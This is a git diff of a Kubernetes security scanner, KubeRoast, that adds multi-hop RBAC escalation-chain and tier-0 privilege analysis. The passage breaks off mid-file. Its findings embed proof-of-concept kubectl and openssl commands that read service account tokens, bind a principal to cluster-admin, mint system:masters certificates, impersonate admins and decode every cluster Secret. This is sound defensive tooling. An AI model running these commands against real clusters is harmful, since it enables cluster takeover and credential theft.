| β€” | βœ… | β€” | +| Shift-left manifest mode | βœ… | β€” | βœ… | β€” | +| Attack paths lead; lint hidden by default | βœ… | β€” | β€” | β€” | +| Single binary install | βœ… | βœ… | βœ… | βœ… | + ## Troubleshooting | Problem | Fix | |---|---| -| `403/401` on some APIs | KubeRoast continues with partial results. Add RBAC permissions above. | +| `403/401` on some APIs | KubeRoast continues with partial results. Add the RBAC above. | | No cluster found | Check `KUBECONFIG` or run `kubectl config get-contexts` | | HTML requires `--out` | `kuberoast --report html --out report.html` | -| Slow on large clusters | Use `--skip-secrets`, `--skip-nodes`, or `-n ` to scope down | -| Node probes timing out | Kubelet ports may be firewalled. Use `--skip-nodes` | +| Slow on large clusters | Use `--skip-kubelet-probe`, `--skip-configmaps`, or `-n ` | +| Kubelet probes timing out | Kubelet ports may be firewalled. Use `--skip-kubelet-probe` | +| `Manifest mode requires PyYAML` | `pip install 'kuberoast[manifests]'` | ## Roadmap -- CIS Kubernetes Benchmark tagging -- Provider-specific remediation (EKS/AKS/GKE) -- Offline manifest scanning (`--manifests`) -- Gatekeeper/Kyverno policy inventory & drift -- MITRE ATT&CK technique tags per finding -- Dockerfile for containerized scanning +- Expand the CVE knowledge base + optional OSV/NVD live lookup +- CRD-defined secret detection (SealedSecrets, ExternalSecrets, Vault) +- ATT&CK navigator-layer export from finding techniques +- NetworkPolicy lateral-movement gap analysis (flat-network namespaces) ## Contributing -PRs welcome. Please: +PRs welcome. Bar for new rules: -1. Add/update unit tests for each new rule -2. Ground severities in public guidance or reproducible attacker tradecraft -3. Keep remediation text explicit and actionable +1. Add unit tests that reflect a real attacker scenario, not a field-presence check +2. Severity grounded in public guidance or reproducible attacker tradecraft +3. Include `exploit`, `impact`, and `attack_techniques` where applicable 4. Run `pytest` before submitting ## License @@ -356,7 +522,7 @@ MIT β€” see [LICENSE](./LICENSE). ## πŸ“š Documentation & Author -This project's full writeup, methodology, and related research lives at: +Project writeup, methodology, and related research: **[https://snailsploit.com/tools](https://snailsploit.com/tools)** diff --git a/kuberoast/__init__.py b/kuberoast/__init__.py index a9a2c5b..7689aca 100644 --- a/kuberoast/__init__.py +++ b/kuberoast/__init__.py @@ -1 +1,2 @@ -__all__ = [] +__version__ = "0.4.0" +__all__ = ["__version__"] diff --git a/kuberoast/attackpaths/sa_chains.py b/kuberoast/attackpaths/sa_chains.py new file mode 100644 index 0000000..fed560c --- /dev/null +++ b/kuberoast/attackpaths/sa_chains.py @@ -0,0 +1,338 @@ +"""Multi-hop ServiceAccount β†’ ServiceAccount escalation paths. + +The existing `rbac_escalation.py` flags principals that have risky 1-hop +capabilities (e.g. "this SA can bind RoleBindings"). Real attackers chain +those primitives: SA1 can create pods β†’ SA1 launches pod as SA2 β†’ SA2 +has cluster-admin via existing binding β†’ done. + +This module builds a directed escalation graph over principals and +finds shortest paths from any non-admin principal to a target with +cluster-wide write power. Each path becomes one finding with the +intermediate hops spelled out and a per-hop PoC. + +Edges considered: + + * SA-A can `create pods` in NS where SA-B exists β†’ SA-A can mint a pod + with serviceAccountName: SA-B and inherit its identity. + * SA-A can `create pods/exec` on a pod running as SA-B β†’ exec into it, + read /var/run/secrets/kubernetes.io/serviceaccount/token, become SA-B. + * SA-A can `update`/`patch` deployments/statefulsets/daemonsets/jobs in + NS where SA-B is referenced β†’ mutate template.spec.serviceAccountName, + wait for rollout, inherit SA-B. + * SA-A can `create`/`update` RoleBindings/ClusterRoleBindings β†’ bind + self (or any subject) to any Role, including cluster-admin. + * SA-A can `escalate` on roles β†’ grant self extra permissions in any + existing Role (no need for cluster-admin). + * SA-A can `impersonate` users/groups/serviceaccounts β†’ directly act as + target. + * SA-A can `create serviceaccounts/token` β†’ mint a bound token for any + SA they can name. + +Targets we consider terminal: + * cluster-admin via direct binding + * any principal with verbs * resources * (effective cluster-admin) + * any principal with `update nodes` (can move pods, label-spoof for IRSA) + * any principal with `get secrets *` (read every secret in cluster) +""" +from collections import defaultdict, deque +from typing import Dict, List, Set, Tuple, Optional, DefaultDict +from ..utils.findings import Finding + + +def _principal_id(kind: str, name: str, namespace: Optional[str] = None) -> str: + if kind == "ServiceAccount" and namespace: + return f"sa:{namespace}:{name}" + return f"{kind.lower()}:{name}" + + +def _has_perm(perms: Set[Tuple[str, str]], verb: str, resource: str) -> bool: + return ( + (verb, resource) in perms + or (verb, "*") in perms + or ("*", resource) in perms + or ("*", "*") in perms + ) + + +def _is_terminal_admin(perms: Set[Tuple[str, str]]) -> Tuple[bool, str]: + """Return (is_admin, reason).""" + if ("*", "*") in perms: + return True, "wildcard verbs on wildcard resources (effective cluster-admin)" + if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"): + # Reading every secret in cluster is game-over-grade. + return True, "can read all secrets (credential exfiltration enables full cluster takeover)" + return False, "" + + +def _build_principal_perms(roles, croles, rbs, crbs) -> Tuple[ + DefaultDict[str, Set[Tuple[str, str]]], + DefaultDict[str, Set[str]], + DefaultDict[str, Set[str]], +]: + """Return (perms_per_principal, role_keys_per_principal, role_namespaces_per_principal).""" + role_rules: Dict[str, List] = {} + for r in roles: + role_rules[f"Role/{r.metadata.namespace}/{r.metadata.name}"] = list(r.rules or []) + for cr in croles: + role_rules[f"ClusterRole/{cr.metadata.name}"] = list(cr.rules or []) + + principal_roles: DefaultDict[str, Set[str]] = defaultdict(set) + principal_namespaces: DefaultDict[str, Set[str]] = defaultdict(set) + + def add_binding(b, is_crb=False): + rr = b.role_ref + if is_crb or rr.kind == "ClusterRole": + role_key = f"ClusterRole/{rr.name}" + binding_ns = None + else: + binding_ns = b.metadata.namespace + role_key = f"Role/{binding_ns}/{rr.name}" + for s in (b.subjects or []): + ns = getattr(s, "namespace", None) + pid = _principal_id(s.kind, s.name, ns) + principal_roles[pid].add(role_key) + # track which namespaces a principal has any binding in + if binding_ns: + principal_namespaces[pid].add(binding_ns) + elif ns: + principal_namespaces[pid].add(ns) + + for b in rbs: + add_binding(b, is_crb=False) + for b in crbs: + add_binding(b, is_crb=True) + + principal_perms: DefaultDict[str, Set[Tuple[str, str]]] = defaultdict(set) + for p, rset in principal_roles.items(): + for rk in rset: + for rule in role_rules.get(rk, []): + verbs = set(rule.verbs or []) + resources = set(rule.resources or []) + for v in verbs: + for res in resources: + principal_perms[p].add((v, res)) + + return principal_perms, principal_roles, principal_namespaces + + +def _build_edges( + principal_perms: DefaultDict[str, Set[Tuple[str, str]]], + sa_to_pods: Dict[str, Set[Tuple[str, str]]], + all_principals: Set[str], +) -> DefaultDict[str, List[Tuple[str, str, str]]]: + """Build edges principal β†’ (target_principal, reason, poc_command). + + Edges represent: "principal A can become principal B via this primitive." + For broad primitives like 'can create rolebindings' we add an edge to + every other principal because A can always bind to ANY role. + """ + edges: DefaultDict[str, List[Tuple[str, str, str]]] = defaultdict(list) + + sa_principals = [p for p in all_principals if p.startswith("sa:")] + + for principal, perms in principal_perms.items(): + # 1. create pods β†’ become any SA in the same namespace + if _has_perm(perms, "create", "pods"): + ns = principal.split(":", 2)[1] if principal.startswith("sa:") else None + for sa in sa_principals: + if sa == principal: + continue + sa_ns = sa.split(":", 2)[1] + if ns and sa_ns != ns: + continue + edges[principal].append(( + sa, + "create a pod with serviceAccountName set to target SA", + f"kubectl run pwn --image=busybox --serviceaccount={sa.split(':')[-1]} -n {sa_ns} -- sleep 999\n" + f"kubectl exec -n {sa_ns} pwn -- cat /var/run/secrets/kubernetes.io/serviceaccount/token", + )) + + # 2. exec into pods β†’ become the SA that runs the target pod + if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "get", "pods/exec"): + for sa, pods in sa_to_pods.items(): + if sa == principal: + continue + for ns, pod_name in pods: + edges[principal].append(( + sa, + f"exec into pod {ns}/{pod_name} which runs as target SA", + f"kubectl exec -n {ns} {pod_name} -- cat /var/run/secrets/kubernetes.io/serviceaccount/token", + )) + break # one example pod per SA is enough + + # 3. update workload templates β†’ swap serviceAccountName, wait for rollout + if _has_perm(perms, "update", "deployments") or _has_perm(perms, "patch", "deployments"): + for sa in sa_principals: + if sa == principal: + continue + ns = sa.split(":", 2)[1] + sa_name = sa.split(":")[-1] + edges[principal].append(( + sa, + f"patch any Deployment in {ns} to use serviceAccountName={sa_name}", + f"kubectl patch deployment -n {ns} -p '{{\"spec\":{{\"template\":{{\"spec\":{{\"serviceAccountName\":\"{sa_name}\"}}}}}}}}'", + )) + + # 4. create/update RoleBindings β†’ bind self to any role (including cluster-admin) + if ( + _has_perm(perms, "create", "rolebindings") + or _has_perm(perms, "create", "clusterrolebindings") + or _has_perm(perms, "update", "rolebindings") + or _has_perm(perms, "update", "clusterrolebindings") + ): + # synthetic "cluster-admin" target + edges[principal].append(( + "ClusterRole/cluster-admin", + "bind self to cluster-admin via (Cluster)RoleBinding write", + "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:", + )) + + # 4b. CSR cert-minting β†’ issue a system:masters client cert + can_create_csr = _has_perm(perms, "create", "certificatesigningrequests") + can_approve_csr = ( + _has_perm(perms, "update", "certificatesigningrequests/approval") + or _has_perm(perms, "patch", "certificatesigningrequests/approval") + or _has_perm(perms, "approve", "signers") + ) + if can_create_csr and can_approve_csr: + edges[principal].append(( + "ClusterRole/cluster-admin", + "mint a system:masters client certificate via the CSR API", + "openssl req -new -nodes -keyout k -subj '/O=system:masters/CN=pwn' -out r; " + "kubectl create csr ... signerName=kubernetes.io/kube-apiserver-client; " + "kubectl certificate approve pwn", + )) + + # 5. escalate verb β†’ grant self any verbs on existing roles + if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles"): + edges[principal].append(( + "ClusterRole/cluster-admin", + "use escalate verb to elevate existing role with cluster-admin verbs", + "kubectl patch clusterrole --type=json -p='[{\"op\":\"add\",\"path\":\"/rules/-\",\"value\":{\"apiGroups\":[\"*\"],\"resources\":[\"*\"],\"verbs\":[\"*\"]}}]'", + )) + + # 6. impersonate β†’ directly act as target + if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "serviceaccounts") or _has_perm(perms, "impersonate", "groups"): + edges[principal].append(( + "*:system:masters", + "impersonate system:masters group (cluster-admin)", + "kubectl --as=system:admin --as-group=system:masters get pods --all-namespaces", + )) + + # 7. token request abuse β€” mint token for any SA + if _has_perm(perms, "create", "serviceaccounts/token"): + for sa in sa_principals: + if sa == principal: + continue + ns = sa.split(":", 2)[1] + sa_name = sa.split(":")[-1] + edges[principal].append(( + sa, + f"request bound token for {sa} via TokenRequest API", + f"kubectl create token {sa_name} -n {ns}", + )) + + return edges + + +def _bfs_paths(edges, start: str, terminals: Set[str], max_depth: int = 4) -> Optional[List[Tuple[str, str, str]]]: + """Return shortest path from start to any terminal as list of (next_principal, reason, poc).""" + if start in terminals: + return [] + visited = {start} + queue = deque([(start, [])]) # (current, path_so_far) + while queue: + current, path = queue.popleft() + if len(path) >= max_depth: + continue + for (nxt, reason, poc) in edges.get(current, []): + if nxt in visited: + continue + new_path = path + [(nxt, reason, poc)] + if nxt in terminals or nxt == "ClusterRole/cluster-admin" or nxt == "*:system:masters": + return new_path + visited.add(nxt) + queue.append((nxt, new_path)) + return None + + +def analyze_sa_chains(roles, croles, rbs, crbs, pods) -> List[Finding]: + """Discover multi-hop escalation chains and emit one finding per chain.""" + findings: List[Finding] = [] + + principal_perms, _principal_roles, _principal_ns = _build_principal_perms(roles, croles, rbs, crbs) + + # SA β†’ pods running it (each pod recorded as (namespace, pod_name)) + sa_to_pods: Dict[str, Set[Tuple[str, str]]] = defaultdict(set) + for pod in pods: + ns = pod.metadata.namespace + pname = pod.metadata.name + sa = (pod.spec.service_account_name or "default") if pod.spec else "default" + sa_to_pods[f"sa:{ns}:{sa}"].add((ns, pname)) + + all_principals = set(principal_perms.keys()) | set(sa_to_pods.keys()) + + # Find terminal principals (those with effective admin) + terminals: Set[str] = set() + terminal_reasons: Dict[str, str] = {} + for p, perms in principal_perms.items(): + is_term, why = _is_terminal_admin(perms) + if is_term: + terminals.add(p) + terminal_reasons[p] = why + + edges = _build_edges(principal_perms, sa_to_pods, all_principals) + + # For each non-terminal principal, BFS for a chain to a terminal + for start in all_principals: + if start in terminals: + continue + # Skip system principals that are *expected* to have admin reach + if start.startswith("sa:kube-system:") or start in ("user:system:admin", "group:system:masters"): + continue + path = _bfs_paths(edges, start, terminals, max_depth=4) + if path is None or not path: + continue + # Build a human-readable chain + hops = [f"{start}"] + steps = [] + for (next_p, reason, poc) in path: + hops.append(next_p) + steps.append(f" - {reason}\n PoC: {poc}") + terminal = path[-1][0] + terminal_reason = terminal_reasons.get(terminal, "cluster-admin via binding") + hop_count = len(path) + sev = "critical" if hop_count <= 2 else "high" + chain_str = " β†’ ".join(hops) + steps_str = "\n".join(steps) + + # Use a finding ID that's deterministic per start principal so re-runs are stable + findings.append(Finding( + id="AP-CHAIN", + title=f"Escalation chain ({hop_count} hop): {start} β†’ cluster-admin", + description=( + f"Principal {start} can reach cluster-admin in {hop_count} step(s).\n\n" + f"Chain: {chain_str}\n\n" + f"Steps:\n{steps_str}\n\n" + f"Terminal capability: {terminal_reason}" + ), + severity=sev, + category="AttackPath", + resource=start, + exploitability="trivial" if hop_count == 1 else "easy" if hop_count == 2 else "moderate", + exploit=steps[0].strip() if steps else None, + impact=f"Full cluster compromise via {hop_count}-hop escalation. Pods running this principal effectively run as cluster-admin.", + attack_techniques=["T1078.004", "T1098.003"], + remediation=( + "Break the chain at the earliest hop. Common fixes: remove `create pods` and " + "`pods/exec` from non-admin SAs; never grant `bind`/`escalate`/`impersonate`; " + "deny `update` on workload templates that reference privileged SAs." + ), + references=[ + "https://attack.mitre.org/techniques/T1098/003/", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://raesene.github.io/blog/2021/01/16/Getting-Into-A-Bind-with-Kubernetes/", + ], + )) + + return findings diff --git a/kuberoast/attackpaths/tier_zero.py b/kuberoast/attackpaths/tier_zero.py new file mode 100644 index 0000000..15b1ac8 --- /dev/null +++ b/kuberoast/attackpaths/tier_zero.py @@ -0,0 +1,209 @@ +"""Tier-0 / crown-jewel identification. + +`rbac.py` flags suspicious verbs. `sa_chains.py` finds escalation *paths*. +This module answers a different question: **which principals are already, +right now, effectively cluster-admin** β€” without the literal +`cluster-admin` binding that `RBAC-CLUSTER-ADMIN` would catch? + +These are the keys to the kingdom an assessor wants named explicitly: + + * CSR mint create CSR + approve β†’ issue a client cert with + CN/O=system:masters. Instant cluster-admin cert. + * nodes/proxy proxy to every kubelet β†’ exec in any pod on any node. + * exec anywhere pods/exec or pods/attach cluster-wide β†’ run in any + pod, including privileged kube-system pods. + * read all secrets get+list secrets cluster-wide β†’ harvest every + credential, including bootstrap & SA tokens. + * mint tokens serviceaccounts/token β†’ impersonate any SA. + * admission control write to validating/mutating webhook configs β†’ + intercept or mutate every admitted object. + * impersonate / escalate / bind β†’ trivially become anyone. + * modify nodes patch/update nodes β†’ label-spoof (IRSA/WI), taint, + influence scheduling onto attacker-controlled nodes. + +We skip the obvious/expected holders (literal cluster-admin, system:masters, +kube-system control-plane SAs) so the output is the *non-obvious* admins. +""" +from typing import List, Set, Tuple, Dict +from ..utils.findings import Finding +from .sa_chains import _build_principal_perms, _has_perm, _principal_id + + +# (predicate, primitive-name, severity, exploit, impact, techniques) +def _tier0_primitives(perms: Set[Tuple[str, str]]) -> List[Tuple[str, str, str, str, List[str]]]: + found = [] + + # CSR cert minting: create CSR + ability to approve (or the signer). + can_create_csr = _has_perm(perms, "create", "certificatesigningrequests") + can_approve_csr = ( + _has_perm(perms, "update", "certificatesigningrequests/approval") + or _has_perm(perms, "patch", "certificatesigningrequests/approval") + or _has_perm(perms, "approve", "signers") + or _has_perm(perms, "*", "certificatesigningrequests") + ) + if can_create_csr and can_approve_csr: + found.append(( + "mint a system:masters client certificate via the CSR API", + "trivial", + "# 1. openssl req -new -newkey rsa:2048 -nodes -keyout pwn.key -subj '/O=system:masters/CN=pwn' -out pwn.csr\n" + "# 2. kubectl create -f - < pwn.crt\n" + "# 5. kubectl --client-certificate=pwn.crt --client-key=pwn.key get secrets -A", + "Issues a client certificate in group system:masters β€” permanent cluster-admin " + "that bypasses RBAC entirely and survives SA/token revocation.", + ["T1098.001", "T1649"], + )) + + # nodes/proxy β†’ kubelet API on every node + if _has_perm(perms, "create", "nodes/proxy") or _has_perm(perms, "get", "nodes/proxy") or _has_perm(perms, "*", "nodes/proxy"): + found.append(( + "proxy to every kubelet via nodes/proxy", + "easy", + "kubectl get --raw /api/v1/nodes//proxy/pods\n" + "kubectl get --raw '/api/v1/nodes//proxy/run///?cmd=id'", + "Command execution in any pod on any node via the kubelet API β€” equivalent to exec-anywhere " + "plus node-local credential theft.", + ["T1610", "T1613"], + )) + + # exec/attach cluster-wide + if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "create", "pods/attach") or _has_perm(perms, "*", "pods/exec"): + found.append(( + "exec into any pod cluster-wide", + "trivial", + "kubectl exec -n kube-system -- sh\n" + "# then read /var/run/secrets/... or escape if the pod is privileged", + "Run commands inside any pod, including privileged control-plane pods β€” harvest their SA " + "tokens and escape to the node.", + ["T1610"], + )) + + # read all secrets + if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"): + found.append(( + "read every Secret in the cluster", + "trivial", + "kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | .value' | base64 -d", + "Harvest all credentials cluster-wide: SA tokens, registry creds, TLS keys, bootstrap tokens.", + ["T1552.005"], + )) + + # mint SA tokens + if _has_perm(perms, "create", "serviceaccounts/token"): + found.append(( + "mint a token for any ServiceAccount", + "trivial", + "kubectl create token -n ", + "Impersonate any ServiceAccount, including highly-privileged ones.", + ["T1098.004", "T1550.001"], + )) + + # admission control + if (_has_perm(perms, "create", "validatingwebhookconfigurations") + or _has_perm(perms, "update", "validatingwebhookconfigurations") + or _has_perm(perms, "create", "mutatingwebhookconfigurations") + or _has_perm(perms, "update", "mutatingwebhookconfigurations")): + found.append(( + "register or modify admission webhooks", + "easy", + "# Register a MutatingWebhookConfiguration that points at an attacker service and\n" + "# injects sidecars / steals objects (incl. Secret payloads) on every admission.", + "Intercept and mutate every object admitted to the cluster β€” credential capture and " + "cluster-wide implant.", + ["T1554", "T1556"], + )) + + # impersonate + if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "groups") or _has_perm(perms, "impersonate", "serviceaccounts"): + found.append(( + "impersonate arbitrary identities", + "trivial", + "kubectl --as=anything --as-group=system:masters get secrets -A", + "Act as any user/group/SA, including system:masters (cluster-admin).", + ["T1134"], + )) + + # escalate / bind + if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles") \ + or _has_perm(perms, "bind", "roles") or _has_perm(perms, "bind", "clusterroles"): + found.append(( + "grant itself arbitrary permissions (escalate/bind)", + "trivial", + "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:", + "Self-elevate to cluster-admin via the escalate/bind verbs.", + ["T1098.003"], + )) + + # modify nodes + if _has_perm(perms, "update", "nodes") or _has_perm(perms, "patch", "nodes"): + found.append(( + "modify node objects", + "moderate", + "kubectl label node =true # then schedule a privileged pod onto it", + "Label/taint spoofing to control scheduling (e.g. force workloads onto an attacker node), " + "and on some setups affect node-bound IAM/IRSA selection.", + ["T1496", "T1610"], + )) + + return found + + +# Principals we expect to be powerful β€” don't report them as 'hidden' admins. +def _is_expected_admin(principal: str) -> bool: + if principal.startswith("sa:kube-system:"): + return True + if principal in ("group:system:masters", "user:kubernetes-admin", "user:system:admin"): + return True + if principal.startswith("group:system:nodes"): + return True + return False + + +def analyze_tier_zero(roles, croles, rbs, crbs, pods=None) -> List[Finding]: + findings: List[Finding] = [] + principal_perms, _roles, _ns = _build_principal_perms(roles, croles, rbs, crbs) + + for principal, perms in principal_perms.items(): + if _is_expected_admin(principal): + continue + prims = _tier0_primitives(perms) + if not prims: + continue + # Most severe exploitability wins for the headline. + order = {"trivial": 4, "easy": 3, "moderate": 2, "hard": 1, "theoretical": 0} + prims_sorted = sorted(prims, key=lambda p: order.get(p[1], 0), reverse=True) + headline = prims_sorted[0] + names = [p[0] for p in prims_sorted] + all_techniques = sorted({t for p in prims_sorted for t in p[4]}) + + desc = ( + f"Principal {principal} holds tier-0 permissions that make it effectively cluster-admin " + f"without a cluster-admin binding:\n" + + "\n".join(f" - {n}" for n in names) + ) + findings.append(Finding( + id="AP-TIER0", + title=f"Effective cluster-admin (tier-0): {principal}", + description=desc, + severity="critical", + category="AttackPath", + resource=principal, + exploitability=headline[1], + exploit=headline[2], + impact=headline[3], + attack_techniques=all_techniques, + remediation=( + "Treat this principal as tier-0. Remove the crown-jewel verbs unless absolutely required, " + "split duties, and put any unavoidable holders under audit + alerting. " + "Crown-jewel verbs: CSR create+approve, nodes/proxy, cluster-wide pods/exec, secrets get+list, " + "serviceaccounts/token, webhook config writes, impersonate/escalate/bind, nodes patch." + ), + references=[ + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping", + "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/", + ], + )) + + return findings diff --git a/kuberoast/cli.py b/kuberoast/cli.py index 5f3451a..8e8ebf2 100644 --- a/kuberoast/cli.py +++ b/kuberoast/cli.py @@ -1,32 +1,98 @@ -import argparse, logging, sys -from typing import List -from .utils.kube import load_clients, list_all_pods, list_all_nodes, list_rbac, list_all_secrets, list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds +import argparse +import logging +import sys +import textwrap +from typing import List, Optional + +from . import __version__ +from .utils import colors as c +from .utils.kube import ( + load_clients, + list_all_pods, list_all_nodes, list_rbac, list_all_secrets, + list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds, + list_all_configmaps, list_all_deployments, list_all_statefulsets, + list_all_daemonsets, list_all_jobs, list_all_cronjobs, + list_validating_webhooks, list_mutating_webhooks, + list_all_service_accounts, list_all_network_policies, get_server_version, +) +from .utils.findings import Finding, HYGIENE_FINDING_IDS +from .utils.workloads import iter_workload_pods, relabel_workload_findings, amplify_daemonset_findings from .scanners.pods import scan_pod_security from .scanners.nodes import scan_nodes +from .scanners.kubelet import scan_kubelet from .scanners.rbac import scan_rbac from .scanners.secrets import scan_secrets from .scanners.pss import scan_namespace_pss from .scanners.network import scan_services, scan_ingresses from .scanners.policy import scan_policy_engines +from .scanners.escapes import scan_escapes +from .scanners.configmaps import scan_configmaps +from .scanners.podsecrets import scan_pod_credentials +from .scanners.tokens import scan_tokens +from .scanners.webhooks import scan_webhooks +from .scanners.cloud import scan_cloud_pivots +from .scanners.controlplane import scan_control_plane +from .scanners.cve import scan_cve, find_ingress_images from .attackpaths.rbac_escalation import analyze_attack_paths +from .attackpaths.sa_chains import analyze_sa_chains +from .attackpaths.tier_zero import analyze_tier_zero from .reporting import json as json_report, text as text_report, html as html_report -from .utils.findings import Finding logger = logging.getLogger("kuberoast") SEVERITY_ORDER = {"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4} +# Workload kinds we cover beyond bare Pods. +WORKLOAD_LISTERS = [ + ("Deployment", "apps", list_all_deployments), + ("StatefulSet", "apps", list_all_statefulsets), + ("DaemonSet", "apps", list_all_daemonsets), + ("Job", "batch", list_all_jobs), + ("CronJob", "batch", list_all_cronjobs), +] + + +def _scan_pod_collection(pods, kind: str = "Pod") -> List[Finding]: + """Run pod-level scanners (security + escape + hardcoded creds) across pod-like objects.""" + out: List[Finding] = [] + for p in pods: + out.extend(scan_pod_security(p)) + out.extend(scan_escapes(p)) + out.extend(scan_pod_credentials(p)) + return out + def run_cluster_scan(args) -> List[Finding]: ns = getattr(args, "namespace", None) clients = load_clients(kubeconfig=getattr(args, "kubeconfig", None)) - core, rbac_api, networking, apiext = clients["core"], clients["rbac"], clients["networking"], clients["apiextensions"] + core = clients["core"] + apps = clients["apps"] + batch = clients["batch"] + rbac_api = clients["rbac"] + networking = clients["networking"] + apiext = clients["apiextensions"] + admission = clients["admission"] + version_api = clients["version"] + findings: List[Finding] = [] logger.info("Scanning pods...") pods = list_all_pods(core, namespace=ns) - for p in pods: - findings.extend(scan_pod_security(p)) + findings.extend(_scan_pod_collection(pods)) + + # Workloads: extract pod templates and run pod-level scanners on each + logger.info("Scanning workload templates (Deployment/StatefulSet/DaemonSet/Job/CronJob)...") + client_for = {"apps": apps, "batch": batch} + deployments_cache = [] + for kind, client_key, lister in WORKLOAD_LISTERS: + workloads = lister(client_for[client_key], namespace=ns) + if kind == "Deployment": + deployments_cache = workloads + for synth_pod, _kind, name in iter_workload_pods(workloads, kind): + wl_findings = _scan_pod_collection([synth_pod]) + wl_findings = relabel_workload_findings(wl_findings, kind, name) + wl_findings = amplify_daemonset_findings(wl_findings, kind) + findings.extend(wl_findings) logger.info("Scanning namespace PSS labels...") nslist = list_all_namespaces(core) @@ -36,19 +102,48 @@ def run_cluster_scan(args) -> List[Finding]: roles, croles, rbs, crbs = list_rbac(rbac_api, namespace=ns) findings.extend(scan_rbac(roles, croles, rbs, crbs)) + # Nodes are needed for cloud-pivot + CVE correlation regardless of probing. + logger.info("Listing nodes...") + nodes = list_all_nodes(core) + if not args.skip_nodes: - logger.info("Scanning nodes...") - nodes = list_all_nodes(core) - findings.extend(scan_nodes(nodes)) + logger.info("Probing nodes (TCP + active kubelet probes)...") + findings.extend(scan_nodes(nodes)) # legacy TCP probe (kept for backwards-compat) + if not args.skip_kubelet_probe: + findings.extend(scan_kubelet(nodes)) + logger.info("Probing control plane (etcd / insecure apiserver)...") + findings.extend(scan_control_plane(nodes)) if not args.skip_secrets: logger.info("Scanning secrets...") secrets = list_all_secrets(core, namespace=ns) findings.extend(scan_secrets(secrets)) + findings.extend(scan_tokens(secrets)) + + if not args.skip_configmaps: + logger.info("Scanning ConfigMaps for credential leakage...") + configmaps = list_all_configmaps(core, namespace=ns) + findings.extend(scan_configmaps(configmaps)) if not args.skip_attack_paths: - logger.info("Analyzing RBAC attack paths...") + logger.info("Analyzing 1-hop RBAC attack paths...") findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) + logger.info("Analyzing multi-hop RBAC escalation chains...") + findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) + logger.info("Identifying tier-0 (effective cluster-admin) principals...") + findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods)) + + if not args.skip_cloud: + logger.info("Modeling cloud-account pivots (IMDS + workload identity)...") + service_accounts = list_all_service_accounts(core, namespace=ns) + netpols = list_all_network_policies(networking, namespace=ns) + findings.extend(scan_cloud_pivots(nodes, service_accounts, netpols, nslist)) + + if not args.skip_cve: + logger.info("Correlating component versions against known-exploitable CVEs...") + server_version = get_server_version(version_api) + ingress_images = find_ingress_images(pods, deployments_cache) + findings.extend(scan_cve(server_version=server_version, nodes=nodes, ingress_images=ingress_images)) logger.info("Scanning services...") services = list_all_services(core, namespace=ns) @@ -58,6 +153,12 @@ def run_cluster_scan(args) -> List[Finding]: ingresses = list_all_ingresses(networking, namespace=ns) findings.extend(scan_ingresses(ingresses)) + if not args.skip_webhooks: + logger.info("Auditing admission webhooks...") + validating = list_validating_webhooks(admission) + mutating = list_mutating_webhooks(admission) + findings.extend(scan_webhooks(validating, mutating)) + logger.info("Detecting policy engines...") crds = list_all_crds(apiext) findings.extend(scan_policy_engines(crds)) @@ -65,56 +166,212 @@ def run_cluster_scan(args) -> List[Finding]: return findings +def run_manifest_scan(path: str) -> List[Finding]: + """Offline scan of manifests under `path`. Same rules as live cluster, no API access.""" + from .utils.manifests import load_manifests + grouped = load_manifests(path) + + findings: List[Finding] = [] + + pods = grouped.get("Pod", []) + findings.extend(_scan_pod_collection(pods)) + + # Workloads + workload_kinds = ["Deployment", "StatefulSet", "DaemonSet", "Job", "CronJob", "ReplicaSet", "ReplicationController"] + for kind in workload_kinds: + workloads = grouped.get(kind, []) + for synth_pod, _kind, name in iter_workload_pods(workloads, kind): + wl_findings = _scan_pod_collection([synth_pod]) + wl_findings = relabel_workload_findings(wl_findings, kind, name) + wl_findings = amplify_daemonset_findings(wl_findings, kind) + findings.extend(wl_findings) + + # PSS labels on namespaces (only if they're present in the manifests) + nslist = grouped.get("Namespace", []) + if nslist: + findings.extend(scan_namespace_pss(nslist)) + + # RBAC + roles = grouped.get("Role", []) + croles = grouped.get("ClusterRole", []) + rbs = grouped.get("RoleBinding", []) + crbs = grouped.get("ClusterRoleBinding", []) + if roles or croles or rbs or crbs: + findings.extend(scan_rbac(roles, croles, rbs, crbs)) + findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) + findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) + findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods)) + + # Cloud pivots: ServiceAccount federation annotations are visible in manifests. + service_accounts = grouped.get("ServiceAccount", []) + netpols = grouped.get("NetworkPolicy", []) + if service_accounts: + # No nodes in manifest mode β†’ provider unknown; SA federation still flagged. + findings.extend(scan_cloud_pivots([], service_accounts, netpols, grouped.get("Namespace", []))) + + # CVE correlation: only ingress-nginx image tags are knowable offline. + ingress_images = find_ingress_images(pods, grouped.get("Deployment", [])) + if ingress_images: + findings.extend(scan_cve(server_version=None, nodes=None, ingress_images=ingress_images)) + + # Network + services = grouped.get("Service", []) + if services: + findings.extend(scan_services(services)) + ingresses = grouped.get("Ingress", []) + if ingresses: + findings.extend(scan_ingresses(ingresses)) + + # Secrets (manifests rarely contain them but support it) + secrets = grouped.get("Secret", []) + if secrets: + findings.extend(scan_secrets(secrets)) + findings.extend(scan_tokens(secrets)) + + # ConfigMaps + configmaps = grouped.get("ConfigMap", []) + if configmaps: + findings.extend(scan_configmaps(configmaps)) + + # Webhooks + 